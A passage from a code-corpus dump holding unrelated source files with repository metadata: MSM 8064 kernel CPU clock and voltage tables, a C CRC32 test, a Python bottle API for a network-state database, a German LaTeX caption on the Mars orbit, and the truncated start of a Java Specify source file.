1, 0x34 }, L2(15), 1112500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1112500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1125000 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS0_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 950000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 950000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 950000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 962500 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 1000000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 1025000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1037500 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1075000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1087500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1125000 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1150000 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1175000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1150000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1175000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1175000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1200000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1225000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS1_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 950000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 950000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 950000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 962500 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 975000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 1000000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1012500 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1037500 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1050000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1087500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1112500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1150000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1150000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1175000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1175000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1200000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1225000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS2_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 925000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 925000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 925000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 925000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 937500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 950000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 975000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1000000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1012500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1037500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1075000 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1100000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1125000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1150000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1150000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1175000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1225000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS3_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 900000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 900000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 900000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 900000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 900000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 925000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 950000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 975000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 987500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 1000000 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1037500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1062500 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1100000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1125000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1125000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1150000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1175000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS4_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 875000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 875000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 887500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 900000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 925000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 950000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 962500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 975000 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 1000000 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1037500 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1075000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1100000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1125000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1150000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1175000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS5_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 875000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 875000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 887500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 900000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 925000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 937500 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 950000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 962500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 987500 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1012500 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1050000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1075000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1125000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1150000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1175000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS6_1700MHz[] __initdata = { { 1, { 162000, HFPLL, 2, 0x0C }, L2(0), 900000 }, { 1, { 216000, HFPLL, 2, 0x10 }, L2(0), 900000 }, { 1, { 270000, HFPLL, 2, 0x14 }, L2(0), 900000 }, { 1, { 324000, HFPLL, 2, 0x18 }, L2(0), 925000 }, { 1, { 378000, HFPLL, 2, 0x1C }, L2(0), 925000 }, { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 875000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 875000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 887500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 900000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 925000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 937500 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 950000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(15), 962500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(15), 975000 }, { 1, { 1512000, HFPLL, 1, 0x38 }, L2(15), 1150000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(15), 1000000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(15), 1025000 }, { 1, { 1728000, HFPLL, 1, 0x40 }, L2(15), 1050000 }, #ifdef CONFIG_CPU_OC { 1, { 1782000, HFPLL, 1, 0x42 }, L2(15), 1100000 }, { 1, { 1836000, HFPLL, 1, 0x44 }, L2(15), 1125000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(15), 1175000 }, #endif { 0, { 0 } } }; static struct acpu_level tbl_PVS0_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 950000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 950000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 950000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 950000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 962500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 975000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 1000000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1025000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1037500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 1062500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 1100000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1125000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1175000 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1225000 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1287500 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS1_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 925000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 925000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 925000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 925000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 937500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 950000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 975000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 1000000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 1012500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 1037500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 1075000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1100000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1137500 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1187500 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1250000 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS2_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 900000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 900000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 900000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 900000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 912500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 925000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 950000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 975000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 987500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 1012500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 1050000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1075000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1112500 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1162500 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1212500 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS3_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 900000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 900000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 900000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 900000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 900000 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 912500 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 937500 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 962500 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 975000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 1000000 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 1025000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1050000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1087500 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1137500 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1175000 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS4_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 875000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 875000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 887500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 900000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 925000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 950000 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 962500 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 975000 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 1000000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1037500 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1075000 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1112500 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1150000 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS5_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 875000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 875000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 887500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 900000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 925000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 937500 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 950000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 962500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 987500 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1012500 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1050000 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1087500 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1125000 }, { 0, { 0 } } }; static struct acpu_level tbl_PVS6_2000MHz[] __initdata = { { 1, { 384000, PLL_8, 0, 0x00 }, L2(0), 875000 }, { 1, { 486000, HFPLL, 2, 0x24 }, L2(5), 875000 }, { 1, { 594000, HFPLL, 1, 0x16 }, L2(5), 875000 }, { 1, { 702000, HFPLL, 1, 0x1A }, L2(5), 875000 }, { 1, { 810000, HFPLL, 1, 0x1E }, L2(5), 887500 }, { 1, { 918000, HFPLL, 1, 0x22 }, L2(5), 900000 }, { 1, { 1026000, HFPLL, 1, 0x26 }, L2(5), 925000 }, { 1, { 1134000, HFPLL, 1, 0x2A }, L2(14), 937500 }, { 1, { 1242000, HFPLL, 1, 0x2E }, L2(14), 950000 }, { 1, { 1350000, HFPLL, 1, 0x32 }, L2(14), 962500 }, { 1, { 1458000, HFPLL, 1, 0x36 }, L2(14), 975000 }, { 1, { 1566000, HFPLL, 1, 0x3A }, L2(14), 1000000 }, { 1, { 1674000, HFPLL, 1, 0x3E }, L2(14), 1025000 }, { 1, { 1782000, HFPLL, 1, 0x42 }, L2(14), 1062500 }, { 1, { 1890000, HFPLL, 1, 0x46 }, L2(14), 1100000 }, { 0, { 0 } } }; static struct pvs_table pvs_tables[NUM_SPEED_BINS][NUM_PVS] __initdata = { [0][PVS_SLOW] = {tbl_slow, sizeof(tbl_slow), 0 }, [0][PVS_NOMINAL] = {tbl_nom, sizeof(tbl_nom), 25000 }, [0][PVS_FAST] = {tbl_fast, sizeof(tbl_fast), 25000 }, [0][PVS_FASTER] = {tbl_faster, sizeof(tbl_faster), 25000 }, [1][0] = { tbl_PVS0_1700MHz, sizeof(tbl_PVS0_1700MHz), 0 }, [1][1] = { tbl_PVS1_1700MHz, sizeof(tbl_PVS1_1700MHz), 25000 }, [1][2] = { tbl_PVS2_1700MHz, sizeof(tbl_PVS2_1700MHz), 25000 }, [1][3] = { tbl_PVS3_1700MHz, sizeof(tbl_PVS3_1700MHz), 25000 }, [1][4] = { tbl_PVS4_1700MHz, sizeof(tbl_PVS4_1700MHz), 25000 }, [1][5] = { tbl_PVS5_1700MHz, sizeof(tbl_PVS5_1700MHz), 25000 }, [1][6] = { tbl_PVS6_1700MHz, sizeof(tbl_PVS6_1700MHz), 25000 }, [2][0] = { tbl_PVS0_2000MHz, sizeof(tbl_PVS0_2000MHz), 0 }, [2][1] = { tbl_PVS1_2000MHz, sizeof(tbl_PVS1_2000MHz), 25000 }, [2][2] = { tbl_PVS2_2000MHz, sizeof(tbl_PVS2_2000MHz), 25000 }, [2][3] = { tbl_PVS3_2000MHz, sizeof(tbl_PVS3_2000MHz), 25000 }, [2][4] = { tbl_PVS4_2000MHz, sizeof(tbl_PVS4_2000MHz), 25000 }, [2][5] = { tbl_PVS5_2000MHz, sizeof(tbl_PVS5_2000MHz), 25000 }, [2][6] = { tbl_PVS6_2000MHz, sizeof(tbl_PVS6_2000MHz), 25000 }, }; static struct acpuclk_krait_params acpuclk_8064_params __initdata = { .scalable = scalable, .scalable_size = sizeof(scalable), .hfpll_data = &hfpll_data, .pvs_tables = pvs_tables, .l2_freq_tbl = l2_freq_tbl, .l2_freq_tbl_size = sizeof(l2_freq_tbl), .bus_scale = &bus_scale_data, .pte_efuse_phys = 0x007000C0, .stby_khz = 384000, }; static int __init acpuclk_8064_probe(struct platform_device *pdev) { int ret; if (cpu_is_apq8064ab() || SOCINFO_VERSION_MAJOR(socinfo_get_version()) == 2) { acpuclk_8064_params.hfpll_data->low_vdd_l_max = 37; acpuclk_8064_params.hfpll_data->nom_vdd_l_max = 74; } ret = acpuclk_krait_init(&pdev->dev, &acpuclk_8064_params); return ret; } static struct platform_driver acpuclk_8064_driver = { .driver = { .name = "acpuclk-8064", .owner = THIS_MODULE, }, }; static int __init acpuclk_8064_init(void) { return platform_driver_probe(&acpuclk_8064_driver, acpuclk_8064_probe); } device_initcall(acpuclk_8064_init);
GruesomeWolf/Slippery_Sloth
arch/arm/mach-msm/acpuclock-8064.c
C
gpl-2.0
28,898
#include <stdio.h> #include <stdlib.h> #include <string.h> /* memset */ #include <libwzd-core/wzd_structs.h> #include <libwzd-core/wzd_crc32.h> #define C1 0x12345678 #define C2 0x9abcdef0 int main(int argc, char *argv[]) { unsigned long c1 = C1; unsigned long crc = 0x0; char input1[1024]; const char * file1 = "file_crc.txt"; const unsigned long crc_ref = 0xEB2FAFAF; /* cksfv file_crc.txt */ char * srcdir = NULL; unsigned long c2 = C2; if (argc > 1) { srcdir = argv[1]; } else { srcdir = getenv("srcdir"); if (srcdir == NULL) { fprintf(stderr, "Environment variable $srcdir not found, aborting\n"); return 1; } } snprintf(input1,sizeof(input1)-1,"%s/%s",srcdir,file1); if ( calc_crc32(input1,&crc,0,(unsigned long)-1) ) { fprintf(stderr, "calc_crc32 failed\n"); return 1; } if ( crc != crc_ref ) { fprintf(stderr, "calc_crc32 returned crap\n"); return 1; } if (c1 != C1) { fprintf(stderr, "c1 nuked !\n"); return -1; } if (c2 != C2) { fprintf(stderr, "c2 nuked !\n"); return -1; } return 0; }
mathgl67/wzdftpd
tests/test_wzd_crc32.c
C
gpl-2.0
1,106
import json import bottle from pyrouted.util import make_spec def route(method, path): def decorator(f): f.http_route = path f.http_method = method return f return decorator class APIv1(object): prefix = '/v1' def __init__(self, ndb, config): self.ndb = ndb self.config = config @route('GET', '/sources') def sources_list(self, mode='short'): ret = {} mode = bottle.request.query.mode or mode for name, spec in self.ndb.sources.items(): ret[name] = {'class': spec.nl.__class__.__name__, 'status': spec.status} if mode == 'full': ret[name]['config'] = spec.nl_kwarg return bottle.template('{{!ret}}', ret=json.dumps(ret)) @route('PUT', '/sources') def sources_restart(self): node = bottle.request.body.getvalue().decode('utf-8') self.ndb.sources[node].start() @route('POST', '/sources') def sources_add(self): data = bottle.request.body.getvalue().decode('utf-8') node, spec = make_spec(data, self.config) self.config['sources'].append(node) self.ndb.connect_source(node, spec) @route('DELETE', '/sources') def sources_del(self): node = bottle.request.body.getvalue().decode('utf-8') self.config['sources'].remove(node) self.ndb.disconnect_source(node) @route('GET', '/config') def config_get(self): return bottle.template('{{!ret}}', ret=json.dumps(self.config)) @route('PUT', '/config') def config_dump(self): path = bottle.request.body.getvalue().decode('utf-8') self.config.dump(path) @route('GET', '/<name:re:(%s|%s|%s|%s|%s|%s)>' % ('interfaces', 'addresses', 'routes', 'neighbours', 'vlans', 'bridges')) def view(self, name): ret = [] obj = getattr(self.ndb, name) for line in obj.dump(): ret.append(line) return bottle.template('{{!ret}}', ret=json.dumps(ret)) @route('GET', '/query/<name:re:(%s|%s|%s|%s)>' % ('nodes', 'p2p_edges', 'l2_edges', 'l3_edges')) def query(self, name): ret = [] obj = getattr(self.ndb.query, name) for line in obj(): ret.append(line) return bottle.template('{{!ret}}', ret=json.dumps(ret))
svinota/pyrouted
pyrouted/api.py
Python
gpl-2.0
2,803
\documentclass{article} \usepackage{epsfig} \usepackage{color} \usepackage{amsmath} \usepackage[T1]{fontenc} \usepackage[latin1]{inputenc} \usepackage[german]{babel} \usepackage{helvet} \selectlanguage{german} \oddsidemargin15pt \evensidemargin15pt \textheight25mm \textwidth20cm \begin{document} \definecolor{bunt}{rgb}{1.0,1.0,0.9} \thispagestyle{empty} \sffamily \LARGE \pagecolor{black} \color{white} \noindent Die zwei Brennpunkte der Marsbahn werden mit einem \color{red}roten +\color{white} ~markiert. Die Sonne steht in einem Brennpunkt der Bahn. \end{document}
Jeija/keplerslaws
kepler/texte/Untertitel1_1_DE.tex
TeX
gpl-2.0
613
/* Copyright (C) 2022, Specify Collections Consortium * * Specify Collections Consortium, Biodiversity Institute, University of Kansas, * 1345 Jayhawk Boulevard, Lawrence, Kansas, 66045, USA, [email protected] * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package edu.ku.brc.specify.datamodel.busrules; import java.awt.Component; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.ItemEvent; import java.awt.event.ItemListener; import java.text.DateFormat; import java.util.List; import java.util.Set; import java.util.Vector; import javax.swing.DefaultComboBoxModel; import javax.swing.JCheckBox; import javax.swing.JLabel; import javax.swing.JOptionPane; import javax.swing.JTextField; import javax.swing.SwingUtilities; import javax.swing.event.ListSelectionEvent; import javax.swing.event.ListSelectionListener; import org.apache.commons.lang.StringUtils; import org.apache.log4j.Logger; import edu.ku.brc.af.core.AppContextMgr; import edu.ku.brc.af.core.db.DBFieldInfo; import edu.ku.brc.af.core.db.DBTableIdMgr; import edu.ku.brc.af.core.db.DBTableInfo; import edu.ku.brc.af.core.expresssearch.QueryAdjusterForDomain; import edu.ku.brc.af.ui.forms.FormViewObj; import edu.ku.brc.af.ui.forms.Viewable; import edu.ku.brc.af.ui.forms.persist.AltViewIFace.CreationMode; import edu.ku.brc.af.ui.forms.validation.UIValidator; import edu.ku.brc.af.ui.forms.validation.ValComboBox; import edu.ku.brc.af.ui.forms.validation.ValComboBoxFromQuery; import edu.ku.brc.af.ui.forms.validation.ValTextField; import edu.ku.brc.dbsupport.DataProviderFactory; import edu.ku.brc.dbsupport.DataProviderSessionIFace; import edu.ku.brc.dbsupport.DataProviderSessionIFace.QueryIFace; import edu.ku.brc.specify.config.SpecifyAppContextMgr; import edu.ku.brc.specify.conversion.BasicSQLUtils; import edu.ku.brc.specify.datamodel.CollectionMember; import 